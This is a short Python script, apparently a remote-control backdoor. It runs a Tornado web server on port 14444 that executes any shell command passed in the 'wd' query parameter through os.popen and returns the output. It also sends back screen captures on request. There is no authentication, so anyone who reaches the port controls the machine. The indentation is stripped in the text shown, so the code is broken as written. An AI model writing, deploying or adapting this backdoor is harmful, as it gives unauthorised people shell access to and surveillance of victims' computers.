from tornado.web import RequestHandler,Application
from tornado.ioloop import IOLoop
from tornado.options import options,parse_command_line,define
from tornado.httpserver import HTTPServer
import platform
import os
import pyautogui
if platform.system()=='Windows':
import asyncio
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
define('port',default=14444,help='这是http协议的通信端口')
class index(RequestHandler):
def get(self):
cmd=self.get_query_argument("wd",'')
if cmd == 'screenshot':
img=pyautogui.screenshot()
img.save('screenshot.jpg')
pic = open('screenshot.jpg','rb')
pics = pic.read()
self.write(pics)
self.set_header("Content-type","image/png")
else:
rs=os.popen(cmd,'r')
self.write(rs.read())
def makeapp():
return Application([(r'/',index)])
if __name__ == '__main__':
parse_command_line()
app=makeapp()
server = HTTPServer(app)
server.bind(options.port)
server.start()
IOLoop.current().start()